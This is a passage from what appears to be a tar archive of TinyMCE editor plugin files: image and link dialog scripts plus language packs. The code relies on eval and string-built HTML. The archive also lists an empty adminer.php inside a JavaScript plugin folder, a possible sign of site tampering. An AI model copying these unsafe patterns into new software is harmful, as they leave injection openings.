tinyMCEPopup.dom, st, v, f = document.forms[0], img = dom.create('img', {style : dom.get('style').value}); if (tinyMCEPopup.editor.settings.inline_styles) { // Handle align if (ty == 'align') { dom.setStyle(img, 'float', ''); dom.setStyle(img, 'vertical-align', ''); v = getSelectValue(f, 'align'); if (v) { if (v == 'left' || v == 'right') dom.setStyle(img, 'float', v); else img.style.verticalAlign = v; } } // Handle border if (ty == 'border') { dom.setStyle(img, 'border', ''); v = f.border.value; if (v || v == '0') { if (v == '0') img.style.border = '0'; else img.style.border = v + 'px solid black'; } } // Handle hspace if (ty == 'hspace') { dom.setStyle(img, 'marginLeft', ''); dom.setStyle(img, 'marginRight', ''); v = f.hspace.value; if (v) { img.style.marginLeft = v + 'px'; img.style.marginRight = v + 'px'; } } // Handle vspace if (ty == 'vspace') { dom.setStyle(img, 'marginTop', ''); dom.setStyle(img, 'marginBottom', ''); v = f.vspace.value; if (v) { img.style.marginTop = v + 'px'; img.style.marginBottom = v + 'px'; } } // Merge dom.get('style').value = dom.serializeStyle(dom.parseStyle(img.style.cssText), 'img'); } }, changeMouseMove : function() { }, showPreviewImage : function(u, st) { if (!u) { tinyMCEPopup.dom.setHTML('prev', ''); return; } if (!st && tinyMCEPopup.getParam("advimage_update_dimensions_onchange", true)) this.resetImageData(); u = tinyMCEPopup.editor.documentBaseURI.toAbsolute(u); if (!st) tinyMCEPopup.dom.setHTML('prev', '<img id="previewImg" src="' + u + '" border="0" onload="ImageDialog.updateImageData(this);" onerror="ImageDialog.resetImageData();" />'); else tinyMCEPopup.dom.setHTML('prev', '<img id="previewImg" src="' + u + '" border="0" onload="ImageDialog.updateImageData(this, 1);" />'); } }; ImageDialog.preInit(); tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); plugins/advimage/jscripts/functions.js 0000666 00000037737 15155066652 0014251 0 ustar 00 /* Functions for the advimage plugin popup */ var preloadImg = null; var orgImageWidth, orgImageHeight; function preinit() { // Initialize tinyMCE.setWindowArg('mce_windowresize', false); // Import external list url javascript var url = tinyMCE.getParam("external_image_list_url"); if (url != null) { // Fix relative if (url.charAt(0) != '/' && url.indexOf('://') == -1) url = tinyMCE.documentBasePath + "/" + url; document.write('<sc'+'ript language="javascript" type="text/javascript" src="' + url + '"></sc'+'ript>'); } } function convertURL(url, node, on_save) { return eval("tinyMCEPopup.windowOpener." + tinyMCE.settings['urlconverter_callback'] + "(url, node, on_save);"); } function getImageSrc(str) { var pos = -1; if (!str) return ""; if ((pos = str.indexOf('this.src=')) != -1) { var src = str.substring(pos + 10); src = src.substring(0, src.indexOf('\'')); if (tinyMCE.getParam('convert_urls')) src = convertURL(src, null, true); return src; } return ""; } function init() { tinyMCEPopup.resizeToInnerSize(); var formObj = document.forms[0]; var inst = tinyMCE.getInstanceById(tinyMCE.getWindowArg('editor_id')); var elm = inst.getFocusElement(); var action = "insert"; var html = ""; // Image list src html = getImageListHTML('imagelistsrc','src','onSelectMainImage'); if (html == "") document.getElementById("imagelistsrcrow").style.display = 'none'; else document.getElementById("imagelistsrccontainer").innerHTML = html; // Image list oversrc html = getImageListHTML('imagelistover','onmouseoversrc'); if (html == "") document.getElementById("imagelistoverrow").style.display = 'none'; else document.getElementById("imagelistovercontainer").innerHTML = html; // Image list outsrc html = getImageListHTML('imagelistout','onmouseoutsrc'); if (html == "") document.getElementById("imagelistoutrow").style.display = 'none'; else document.getElementById("imagelistoutcontainer").innerHTML = html; // Src browser html = getBrowserHTML('srcbrowser','src','image','advimage'); document.getElementById("srcbrowsercontainer").innerHTML = html; // Over browser html = getBrowserHTML('oversrcbrowser','onmouseoversrc','image','advimage'); document.getElementById("onmouseoversrccontainer").innerHTML = html; // Out browser html = getBrowserHTML('outsrcbrowser','onmouseoutsrc','image','advimage'); document.getElementById("onmouseoutsrccontainer").innerHTML = html; // Longdesc browser html = getBrowserHTML('longdescbrowser','longdesc','file','advimage'); document.getElementById("longdesccontainer").innerHTML = html; // Resize some elements if (isVisible('srcbrowser')) document.getElementById('src').style.width = '260px'; if (isVisible('oversrcbrowser')) document.getElementById('onmouseoversrc').style.width = '260px'; if (isVisible('outsrcbrowser')) document.getElementById('onmouseoutsrc').style.width = '260px'; if (isVisible('longdescbrowser')) document.getElementById('longdesc').style.width = '180px'; // Check action if (elm != null && elm.nodeName == "IMG") action = "update"; formObj.insert.value = tinyMCE.getLang('lang_' + action, 'Insert', true); if (action == "update") { var src = tinyMCE.getAttrib(elm, 'src'); var onmouseoversrc = getImageSrc(tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmouseover'))); var onmouseoutsrc = getImageSrc(tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmouseout'))); src = convertURL(src, elm, true); // Use mce_src if found var mceRealSrc = tinyMCE.getAttrib(elm, 'mce_src'); if (mceRealSrc != "") { src = mceRealSrc; if (tinyMCE.getParam('convert_urls')) src = convertURL(src, elm, true); } if (onmouseoversrc != "" && tinyMCE.getParam('convert_urls')) onmouseoversrc = convertURL(onmouseoversrc, elm, true); if (onmouseoutsrc != "" && tinyMCE.getParam('convert_urls')) onmouseoutsrc = convertURL(onmouseoutsrc, elm, true); // Setup form data var style = tinyMCE.parseStyle(tinyMCE.getAttrib(elm, "style")); // Store away old size orgImageWidth = trimSize(getStyle(elm, 'width')) orgImageHeight = trimSize(getStyle(elm, 'height')); formObj.src.value = src; formObj.alt.value = tinyMCE.getAttrib(elm, 'alt'); formObj.title.value = tinyMCE.getAttrib(elm, 'title'); formObj.border.value = trimSize(getStyle(elm, 'border', 'borderWidth')); formObj.vspace.value = tinyMCE.getAttrib(elm, 'vspace'); formObj.hspace.value = tinyMCE.getAttrib(elm, 'hspace'); formObj.width.value = orgImageWidth; formObj.height.value = orgImageHeight; formObj.onmouseoversrc.value = onmouseoversrc; formObj.onmouseoutsrc.value = onmouseoutsrc; formObj.id.value = tinyMCE.getAttrib(elm, 'id'); formObj.dir.value = tinyMCE.getAttrib(elm, 'dir'); formObj.lang.value = tinyMCE.getAttrib(elm, 'lang'); formObj.longdesc.value = tinyMCE.getAttrib(elm, 'longdesc'); formObj.usemap.value = tinyMCE.getAttrib(elm, 'usemap'); formObj.style.value = tinyMCE.serializeStyle(style); // Select by the values if (tinyMCE.isMSIE) selectByValue(formObj, 'align', getStyle(elm, 'align', 'styleFloat')); else selectByValue(formObj, 'align', getStyle(elm, 'align', 'cssFloat')); addClassesToList('classlist', 'advimage_styles'); selectByValue(formObj, 'classlist', tinyMCE.getAttrib(elm, 'class')); selectByValue(formObj, 'imagelistsrc', src); selectByValue(formObj, 'imagelistover', onmouseoversrc); selectByValue(formObj, 'imagelistout', onmouseoutsrc); updateStyle(); showPreviewImage(src, true); changeAppearance(); window.focus(); } else addClassesToList('classlist', 'advimage_styles'); // If option enabled default contrain proportions to checked if (tinyMCE.getParam("advimage_constrain_proportions", true)) formObj.constrain.checked = true; // Check swap image if valid data if (formObj.onmouseoversrc.value != "" || formObj.onmouseoutsrc.value != "") setSwapImageDisabled(false); else setSwapImageDisabled(true); } function setSwapImageDisabled(state) { var formObj = document.forms[0]; formObj.onmousemovecheck.checked = !state; setBrowserDisabled('overbrowser', state); setBrowserDisabled('outbrowser', state); if (formObj.imagelistover) formObj.imagelistover.disabled = state; if (formObj.imagelistout) formObj.imagelistout.disabled = state; formObj.onmouseoversrc.disabled = state; formObj.onmouseoutsrc.disabled = state; } function setAttrib(elm, attrib, value) { var formObj = document.forms[0]; var valueElm = formObj.elements[attrib]; if (typeof(value) == "undefined" || value == null) { value = ""; if (valueElm) value = valueElm.value; } if (value != "") { elm.setAttribute(attrib, value); if (attrib == "style") attrib = "style.cssText"; if (attrib == "longdesc") attrib = "longDesc"; if (attrib == "width") { attrib = "style.width"; value = value + "px"; value = value.replace(/%px/g, 'px'); } if (attrib == "height") { attrib = "style.height"; value = value + "px"; value = value.replace(/%px/g, 'px'); } if (attrib == "class") attrib = "className"; eval('elm.' + attrib + "=value;"); } else { if (attrib == 'class') elm.className = ''; elm.removeAttribute(attrib); } } function makeAttrib(attrib, value) { var formObj = document.forms[0]; var valueElm = formObj.elements[attrib]; if (typeof(value) == "undefined" || value == null) { value = ""; if (valueElm) value = valueElm.value; } if (value == "") return ""; // XML encode it value = value.replace(/&/g, '&'); value = value.replace(/\"/g, '"'); value = value.replace(/</g, '<'); value = value.replace(/>/g, '>'); return ' ' + attrib + '="' + value + '"'; } function insertAction() { var inst = tinyMCE.getInstanceById(tinyMCE.getWindowArg('editor_id')); var elm = inst.getFocusElement(); var formObj = document.forms[0]; var src = formObj.src.value; var onmouseoversrc = formObj.onmouseoversrc.value; var onmouseoutsrc = formObj.onmouseoutsrc.value; if (!AutoValidator.validate(formObj)) { alert(tinyMCE.getLang('lang_invalid_data')); return false; } if (tinyMCE.getParam("accessibility_warnings")) { if (formObj.alt.value == "" && !confirm(tinyMCE.getLang('lang_advimage_missing_alt', '', true))) return; } if (onmouseoversrc && onmouseoversrc != "") onmouseoversrc = "this.src='" + convertURL(onmouseoversrc, tinyMCE.imgElement) + "';"; if (onmouseoutsrc && onmouseoutsrc != "") onmouseoutsrc = "this.src='" + convertURL(onmouseoutsrc, tinyMCE.imgElement) + "';"; if (elm != null && elm.nodeName == "IMG") { setAttrib(elm, 'src', convertURL(src, tinyMCE.imgElement)); setAttrib(elm, 'mce_src', src); setAttrib(elm, 'alt'); setAttrib(elm, 'title'); setAttrib(elm, 'border'); setAttrib(elm, 'vspace'); setAttrib(elm, 'hspace'); setAttrib(elm, 'width'); setAttrib(elm, 'height'); setAttrib(elm, 'onmouseover', onmouseoversrc); setAttrib(elm, 'onmouseout', onmouseoutsrc); setAttrib(elm, 'id'); setAttrib(elm, 'dir'); setAttrib(elm, 'lang'); setAttrib(elm, 'longdesc'); setAttrib(elm, 'usemap'); setAttrib(elm, 'style'); setAttrib(elm, 'class', getSelectValue(formObj, 'classlist')); setAttrib(elm, 'align', getSelectValue(formObj, 'align')); //tinyMCEPopup.execCommand("mceRepaint"); // Repaint if dimensions changed if (formObj.width.value != orgImageWidth || formObj.height.value != orgImageHeight) inst.repaint(); // Refresh in old MSIE if (tinyMCE.isMSIE5) elm.outerHTML = elm.outerHTML; } else { var html = "<img"; html += makeAttrib('src', convertURL(src, tinyMCE.imgElement)); html += makeAttrib('mce_src', src); html += makeAttrib('alt'); html += makeAttrib('title'); html += makeAttrib('border'); html += makeAttrib('vspace'); html += makeAttrib('hspace'); html += makeAttrib('width'); html += makeAttrib('height'); html += makeAttrib('onmouseover', onmouseoversrc); html += makeAttrib('onmouseout', onmouseoutsrc); html += makeAttrib('id'); html += makeAttrib('dir'); html += makeAttrib('lang'); html += makeAttrib('longdesc'); html += makeAttrib('usemap'); html += makeAttrib('style'); html += makeAttrib('class', getSelectValue(formObj, 'classlist')); html += makeAttrib('align', getSelectValue(formObj, 'align')); html += " />"; tinyMCEPopup.execCommand("mceInsertContent", false, html); } tinyMCE._setEventsEnabled(inst.getBody(), false); tinyMCEPopup.close(); } function cancelAction() { tinyMCEPopup.close(); } function changeAppearance() { var formObj = document.forms[0]; var img = document.getElementById('alignSampleImg'); if (img) { img.align = formObj.align.value; img.border = formObj.border.value; img.hspace = formObj.hspace.value; img.vspace = formObj.vspace.value; } } function changeMouseMove() { var formObj = document.forms[0]; setSwapImageDisabled(!formObj.onmousemovecheck.checked); } function updateStyle() { var formObj = document.forms[0]; var st = tinyMCE.parseStyle(formObj.style.value); if (tinyMCE.getParam('inline_styles', false)) { st['width'] = formObj.width.value == '' ? '' : formObj.width.value + "px"; st['height'] = formObj.height.value == '' ? '' : formObj.height.value + "px"; st['border-width'] = formObj.border.value == '' ? '' : formObj.border.value + "px"; st['margin-top'] = formObj.vspace.value == '' ? '' : formObj.vspace.value + "px"; st['margin-bottom'] = formObj.vspace.value == '' ? '' : formObj.vspace.value + "px"; st['margin-left'] = formObj.hspace.value == '' ? '' : formObj.hspace.value + "px"; st['margin-right'] = formObj.hspace.value == '' ? '' : formObj.hspace.value + "px"; } else { st['width'] = st['height'] = st['border-width'] = null; if (st['margin-top'] == st['margin-bottom']) st['margin-top'] = st['margin-bottom'] = null; if (st['margin-left'] == st['margin-right']) st['margin-left'] = st['margin-right'] = null; } formObj.style.value = tinyMCE.serializeStyle(st); } function styleUpdated() { var formObj = document.forms[0]; var st = tinyMCE.parseStyle(formObj.style.value); if (st['width']) formObj.width.value = st['width'].replace('px', ''); if (st['height']) formObj.height.value = st['height'].replace('px', ''); if (st['margin-top'] && st['margin-top'] == st['margin-bottom']) formObj.vspace.value = st['margin-top'].replace('px', ''); if (st['margin-left'] && st['margin-left'] == st['margin-right']) formObj.hspace.value = st['margin-left'].replace('px', ''); if (st['border-width']) formObj.border.value = st['border-width'].replace('px', ''); } function changeHeight() { var formObj = document.forms[0]; if (!formObj.constrain.checked || !preloadImg) { updateStyle(); return; } if (formObj.width.value == "" || formObj.height.value == "") return; var temp = (parseInt(formObj.width.value) / parseInt(preloadImg.width)) * preloadImg.height; formObj.height.value = temp.toFixed(0); updateStyle(); } function changeWidth() { var formObj = document.forms[0]; if (!formObj.constrain.checked || !preloadImg) { updateStyle(); return; } if (formObj.width.value == "" || formObj.height.value == "") return; var temp = (parseInt(formObj.height.value) / parseInt(preloadImg.height)) * preloadImg.width; formObj.width.value = temp.toFixed(0); updateStyle(); } function onSelectMainImage(target_form_element, name, value) { var formObj = document.forms[0]; formObj.alt.value = name; formObj.title.value = name; resetImageData(); showPreviewImage(formObj.elements[target_form_element].value, false); } function showPreviewImage(src, start) { var formObj = document.forms[0]; selectByValue(document.forms[0], 'imagelistsrc', src); var elm = document.getElementById('prev'); var src = src == "" ? src : tinyMCE.convertRelativeToAbsoluteURL(tinyMCE.settings['base_href'], src); if (!start && tinyMCE.getParam("advimage_update_dimensions_onchange", true)) resetImageData(); if (src == "") elm.innerHTML = ""; else elm.innerHTML = '<img id="previewImg" src="' + src + '" border="0" onload="updateImageData(' + start + ');" onerror="resetImageData();" />' } function updateImageData(start) { var formObj = document.forms[0]; preloadImg = document.getElementById('previewImg'); if (!start && formObj.width.value == "") formObj.width.value = preloadImg.width; if (!start && formObj.height.value == "") formObj.height.value = preloadImg.height; updateStyle(); } function resetImageData() { var formObj = document.forms[0]; formObj.width.value = formObj.height.value = ""; } function getSelectValue(form_obj, field_name) { var elm = form_obj.elements[field_name]; if (elm == null || elm.options == null) return ""; return elm.options[elm.selectedIndex].value; } function getImageListHTML(elm_id, target_form_element, onchange_func) { if (typeof(tinyMCEImageList) == "undefined" || tinyMCEImageList.length == 0) return ""; var html = ""; html += '<select id="' + elm_id + '" name="' + elm_id + '"'; html += ' class="mceImageList" onfocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; html += 'this.options[this.selectedIndex].value;'; if (typeof(onchange_func) != "undefined") html += onchange_func + '(\'' + target_form_element + '\',this.options[this.selectedIndex].text,this.options[this.selectedIndex].value);'; html += '"><option value="">---</option>'; for (var i=0; i<tinyMCEImageList.length; i++) html += '<option value="' + tinyMCEImageList[i][1] + '">' + tinyMCEImageList[i][0] + '</option>'; html += '</select>'; return html; // tinyMCE.debug('-- image list start --', html, '-- image list end --'); } // While loading preinit(); plugins/advimage/langs/ca_dlg.js 0000666 00000002736 15155066652 0012704 0 ustar 00 tinyMCE.addI18n('ca.advimage_dlg',{ tab_general:"General", tab_appearance:"Aparen\u00E7a", tab_advanced:"Avan\u00E7at", general:"General", title:"T\u00EDtol", preview:"Vista pr\u00E8via", constrain_proportions:"Constreny les proporcions", langdir:"Direcci\u00F3 de l'idioma", langcode:"Codi de l'idioma", long_desc:"Descripci\u00F3 llarga", style:"Estil", classes:"Classes", ltr:"D'esquerra a dreta", rtl:"De dreta a esquerra", id:"Id", map:"Mapa d'imatge", swap_image:"Canvi d'imatge", alt_image:"Imatge alternativa", mouseover:"amb el ratol\u00ED a sobre", mouseout:"amb el ratol\u00ED fora", misc:"Miscel\u00B7l\u00E0nia", example_img:"Aparen\u00E7a imatge previsualitzada", missing_alt:"Segur que vols continuar sense incloure cap Descripci\u00F3 d'Imatge? Sense ella, la imatge no ser\u00E0 accessible a usuaris amb discapacitats, o a aquells que utilitzin un navegador de text, o els que naveguin amb les imatges desactivades.", dialog_title:"Insereix/edita imatge", src:"URL de la imatge", alt:"Descripci\u00F3 de la imatge", list:"Llista d'imatges", border:"Vora", dimensions:"Dimensions", vspace:"Espaiat vertical", hspace:"Espaiat horitzontal", align:"Alineaci\u00F3", align_baseline:"L\u00EDnia base", align_top:"Dalt", align_middle:"Mig", align_bottom:"Baix", align_texttop:"A dalt del text", align_textbottom:"A baix del text", align_left:"Esquerra", align_right:"Dreta", image_list:"Llista d'imatges" }); plugins/advimage/langs/en.js 0000666 00000001643 15155066653 0012072 0 ustar 00 // UK lang variables tinyMCE.addToLang('advimage',{ tab_general : 'General', tab_appearance : 'Appearance', tab_advanced : 'Advanced', general : 'General', title : 'Title', preview : 'Preview', constrain_proportions : 'Constrain proportions', langdir : 'Language direction', langcode : 'Language code', long_desc : 'Long description link', style : 'Style', classes : 'Classes', ltr : 'Left to right', rtl : 'Right to left', id : 'Id', image_map : 'Image map', swap_image : 'Swap image', alt_image : 'Alternative image', mouseover : 'for mouse over', mouseout : 'for mouse out', misc : 'Miscellaneous', example_img : 'Appearance preview image', missing_alt : 'Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.' }); plugins/advimage/langs/en_dlg.js 0000666 00000002460 15155066653 0012716 0 ustar 00 tinyMCE.addI18n('en.advimage_dlg',{ tab_general:"General", tab_appearance:"Appearance", tab_advanced:"Advanced", general:"General", title:"Title", preview:"Preview", constrain_proportions:"Constrain proportions", langdir:"Language direction", langcode:"Language code", long_desc:"Long description link", style:"Style", classes:"Classes", ltr:"Left to right", rtl:"Right to left", id:"Id", map:"Image map", swap_image:"Swap image", alt_image:"Alternative image", mouseover:"for mouse over", mouseout:"for mouse out", misc:"Miscellaneous", example_img:"Appearance preview image", missing_alt:"Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.", dialog_title:"Insert/edit image", src:"Image URL", alt:"Image description", list:"Image list", border:"Border", dimensions:"Dimensions", vspace:"Vertical space", hspace:"Horizontal space", align:"Alignment", align_baseline:"Baseline", align_top:"Top", align_middle:"Middle", align_bottom:"Bottom", align_texttop:"Text top", align_textbottom:"Text bottom", align_left:"Left", align_right:"Right", image_list:"Image list" }); plugins/advimage/langs/es_dlg.js 0000666 00000002755 15155066653 0012732 0 ustar 00 tinyMCE.addI18n('es.advimage_dlg',{ tab_general:"General", tab_appearance:"Apariencia", tab_advanced:"Avanzado", general:"General", title:"T\u00EDtulo", preview:"Vista previa", constrain_proportions:"Bloquear relaci\u00F3n de aspecto", langdir:"Direcci\u00F3n del lenguaje", langcode:"C\u00F3digo del lenguaje", long_desc:"V\u00EDnculo para descripci\u00F3n larga", style:"Estilos", classes:"Clases", ltr:"Izquierda a derecha", rtl:"Derecha a izquierda", id:"Id", map:"Mapa de imagen", swap_image:"Intercambiar imagen", alt_image:"Imagen alternativa", mouseover:"para mouseover", mouseout:"para mouseout", misc:"Miscel\u00E1neo", example_img:"Vista previa de la imagen", missing_alt:"\u00BFEsta seguro de continuar sin introducir una descripci\u00F3n a la imagen? Sin ella puede no ser accesible para usuarios con discapacidades, o para aquellos que usen navegadores de modo texto, o tengan deshabilitadas las im\u00E1genes de la p\u00E1gina.", dialog_title:"Insertar/editar imagen", src:"URL de la imagen", alt:"Descripci\u00F3n de la imagen", list:"Lista de imagen", border:"Bordes", dimensions:"Dimensiones", vspace:"Espacio vertical", hspace:"Espacio horizontal", align:"Alineaci\u00F3n", align_baseline:"L\u00EDnea base", align_top:"Arriba", align_middle:"Medio", align_bottom:"Debajo", align_texttop:"Texto arriba", align_textbottom:"Texto abajo", align_left:"Izquierda", align_right:"Derecha", image_list:"Lista de imagen" }); plugins/advimage/readme.txt 0000666 00000000075 15155066653 0012022 0 ustar 00 Check the TinyMCE documentation for details on this plugin. plugins/advlink/adminer.php 0000666 00000000000 15155066653 0012013 0 ustar 00 plugins/advlink/css/advlink.css 0000666 00000000750 15155066653 0012631 0 ustar 00 .mceLinkList, .mceAnchorList, #targetlist {width:280px;} .mceActionPanel {margin-top:7px;} .panel_wrapper div.current {height:320px;} #classlist, #title, #href {width:280px;} #popupurl, #popupname {width:200px;} #popupwidth, #popupheight, #popupleft, #popuptop {width:30px;vertical-align:middle;text-align:center;} #id, #style, #classes, #target, #dir, #hreflang, #lang, #charset, #type, #rel, #rev, #tabindex, #accesskey {width:200px;} #events_panel input {width:200px;} plugins/advlink/editor_plugin.js 0000666 00000001715 15155066653 0013103 0 ustar 00 (function(){tinymce.create("tinymce.plugins.AdvancedLinkPlugin",{init:function(a,b){this.editor=a;a.addCommand("mceAdvLink",function(){var c=a.selection;if(c.isCollapsed()&&!a.dom.getParent(c.getNode(),"A")){return}a.windowManager.open({file:b+"/link.htm",width:480+parseInt(a.getLang("advlink.delta_width",0)),height:400+parseInt(a.getLang("advlink.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("link",{title:"advlink.link_desc",cmd:"mceAdvLink"});a.addShortcut("ctrl+k","advlink.advlink_desc","mceAdvLink");a.onNodeChange.add(function(d,c,f,e){c.setDisabled("link",e&&f.nodeName!="A");c.setActive("link",f.nodeName=="A"&&!f.name)})},getInfo:function(){return{longname:"Advanced link",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlink",tinymce.plugins.AdvancedLinkPlugin)})(); plugins/advlink/editor_plugin_src.js 0000666 00000003235 15155066653 0013751 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { tinymce.create('tinymce.plugins.AdvancedLinkPlugin', { init : function(ed, url) { this.editor = ed; // Register commands ed.addCommand('mceAdvLink', function() { var se = ed.selection; // No selection and not in link if (se.isCollapsed() && !ed.dom.getParent(se.getNode(), 'A')) return; ed.windowManager.open({ file : url + '/link.htm', width : 480 + parseInt(ed.getLang('advlink.delta_width', 0)), height : 400 + parseInt(ed.getLang('advlink.delta_height', 0)), inline : 1 }, { plugin_url : url }); }); // Register buttons ed.addButton('link', { title : 'advlink.link_desc', cmd : 'mceAdvLink' }); ed.addShortcut('ctrl+k', 'advlink.advlink_desc', 'mceAdvLink'); ed.onNodeChange.add(function(ed, cm, n, co) { cm.setDisabled('link', co && n.nodeName != 'A'); cm.setActive('link', n.nodeName == 'A' && !n.name); }); }, getInfo : function() { return { longname : 'Advanced link', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlink', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('advlink', tinymce.plugins.AdvancedLinkPlugin); })(); plugins/advlink/js/advlink.js 0000666 00000042542 15155066653 0012306 0 ustar 00 /* Functions for the advlink plugin popup */ tinyMCEPopup.requireLangPack(); var templates = { "window.open" : "window.open('${url}','${target}','${options}')" }; function preinit() { var url; if (url = tinyMCEPopup.getParam("external_link_list_url")) document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); } function changeClass() { var f = document.forms[0]; f.classes.value = getSelectValue(f, 'classlist'); } function init() { tinyMCEPopup.resizeToInnerSize(); var formObj = document.forms[0]; var inst = tinyMCEPopup.editor; var elm = inst.selection.getNode(); var action = "insert"; var html; document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser','href','file','advlink'); document.getElementById('popupurlbrowsercontainer').innerHTML = getBrowserHTML('popupurlbrowser','popupurl','file','advlink'); document.getElementById('linklisthrefcontainer').innerHTML = getLinkListHTML('linklisthref','href'); document.getElementById('anchorlistcontainer').innerHTML = getAnchorListHTML('anchorlist','href'); document.getElementById('targetlistcontainer').innerHTML = getTargetListHTML('targetlist','target'); // Link list html = getLinkListHTML('linklisthref','href'); if (html == "") document.getElementById("linklisthrefrow").style.display = 'none'; else document.getElementById("linklisthrefcontainer").innerHTML = html; // Resize some elements if (isVisible('hrefbrowser')) document.getElementById('href').style.width = '260px'; if (isVisible('popupurlbrowser')) document.getElementById('popupurl').style.width = '180px'; elm = inst.dom.getParent(elm, "A"); if (elm != null && elm.nodeName == "A") action = "update"; formObj.insert.value = tinyMCEPopup.getLang(action, 'Insert', true); setPopupControlsDisabled(true); if (action == "update") { var href = inst.dom.getAttrib(elm, 'href'); var onclick = inst.dom.getAttrib(elm, 'onclick'); // Setup form data setFormValue('href', href); setFormValue('title', inst.dom.getAttrib(elm, 'title')); setFormValue('id', inst.dom.getAttrib(elm, 'id')); setFormValue('style', inst.dom.getAttrib(elm, "style")); setFormValue('rel', inst.dom.getAttrib(elm, 'rel')); setFormValue('rev', inst.dom.getAttrib(elm, 'rev')); setFormValue('charset', inst.dom.getAttrib(elm, 'charset')); setFormValue('hreflang', inst.dom.getAttrib(elm, 'hreflang')); setFormValue('dir', inst.dom.getAttrib(elm, 'dir')); setFormValue('lang', inst.dom.getAttrib(elm, 'lang')); setFormValue('tabindex', inst.dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); setFormValue('accesskey', inst.dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); setFormValue('type', inst.dom.getAttrib(elm, 'type')); setFormValue('onfocus', inst.dom.getAttrib(elm, 'onfocus')); setFormValue('onblur', inst.dom.getAttrib(elm, 'onblur')); setFormValue('onclick', onclick); setFormValue('ondblclick', inst.dom.getAttrib(elm, 'ondblclick')); setFormValue('onmousedown', inst.dom.getAttrib(elm, 'onmousedown')); setFormValue('onmouseup', inst.dom.getAttrib(elm, 'onmouseup')); setFormValue('onmouseover', inst.dom.getAttrib(elm, 'onmouseover')); setFormValue('onmousemove', inst.dom.getAttrib(elm, 'onmousemove')); setFormValue('onmouseout', inst.dom.getAttrib(elm, 'onmouseout')); setFormValue('onkeypress', inst.dom.getAttrib(elm, 'onkeypress')); setFormValue('onkeydown', inst.dom.getAttrib(elm, 'onkeydown')); setFormValue('onkeyup', inst.dom.getAttrib(elm, 'onkeyup')); setFormValue('target', inst.dom.getAttrib(elm, 'target')); setFormValue('classes', inst.dom.getAttrib(elm, 'class')); // Parse onclick data if (onclick != null && onclick.indexOf('window.open') != -1) parseWindowOpen(onclick); else parseFunction(onclick); // Select by the values selectByValue(formObj, 'dir', inst.dom.getAttrib(elm, 'dir')); selectByValue(formObj, 'rel', inst.dom.getAttrib(elm, 'rel')); selectByValue(formObj, 'rev', inst.dom.getAttrib(elm, 'rev')); selectByValue(formObj, 'linklisthref', href); if (href.charAt(0) == '#') selectByValue(formObj, 'anchorlist', href); addClassesToList('classlist', 'advlink_styles'); selectByValue(formObj, 'classlist', inst.dom.getAttrib(elm, 'class'), true); selectByValue(formObj, 'targetlist', inst.dom.getAttrib(elm, 'target'), true); } else addClassesToList('classlist', 'advlink_styles'); } function checkPrefix(n) { if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_email'))) n.value = 'mailto:' + n.value; if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_external'))) n.value = 'http://' + n.value; } function setFormValue(name, value) { document.forms[0].elements[name].value = value; } function parseWindowOpen(onclick) { var formObj = document.forms[0]; // Preprocess center code if (onclick.indexOf('return false;') != -1) { formObj.popupreturn.checked = true; onclick = onclick.replace('return false;', ''); } else formObj.popupreturn.checked = false; var onClickData = parseLink(onclick); if (onClickData != null) { formObj.ispopup.checked = true; setPopupControlsDisabled(false); var onClickWindowOptions = parseOptions(onClickData['options']); var url = onClickData['url']; formObj.popupname.value = onClickData['target']; formObj.popupurl.value = url; formObj.popupwidth.value = getOption(onClickWindowOptions, 'width'); formObj.popupheight.value = getOption(onClickWindowOptions, 'height'); formObj.popupleft.value = getOption(onClickWindowOptions, 'left'); formObj.popuptop.value = getOption(onClickWindowOptions, 'top'); if (formObj.popupleft.value.indexOf('screen') != -1) formObj.popupleft.value = "c"; if (formObj.popuptop.value.indexOf('screen') != -1) formObj.popuptop.value = "c"; formObj.popuplocation.checked = getOption(onClickWindowOptions, 'location') == "yes"; formObj.popupscrollbars.checked = getOption(onClickWindowOptions, 'scrollbars') == "yes"; formObj.popupmenubar.checked = getOption(onClickWindowOptions, 'menubar') == "yes"; formObj.popupresizable.checked = getOption(onClickWindowOptions, 'resizable') == "yes"; formObj.popuptoolbar.checked = getOption(onClickWindowOptions, 'toolbar') == "yes"; formObj.popupstatus.checked = getOption(onClickWindowOptions, 'status') == "yes"; formObj.popupdependent.checked = getOption(onClickWindowOptions, 'dependent') == "yes"; buildOnClick(); } } function parseFunction(onclick) { var formObj = document.forms[0]; var onClickData = parseLink(onclick); // TODO: Add stuff here } function getOption(opts, name) { return typeof(opts[name]) == "undefined" ? "" : opts[name]; } function setPopupControlsDisabled(state) { var formObj = document.forms[0]; formObj.popupname.disabled = state; formObj.popupurl.disabled = state; formObj.popupwidth.disabled = state; formObj.popupheight.disabled = state; formObj.popupleft.disabled = state; formObj.popuptop.disabled = state; formObj.popuplocation.disabled = state; formObj.popupscrollbars.disabled = state; 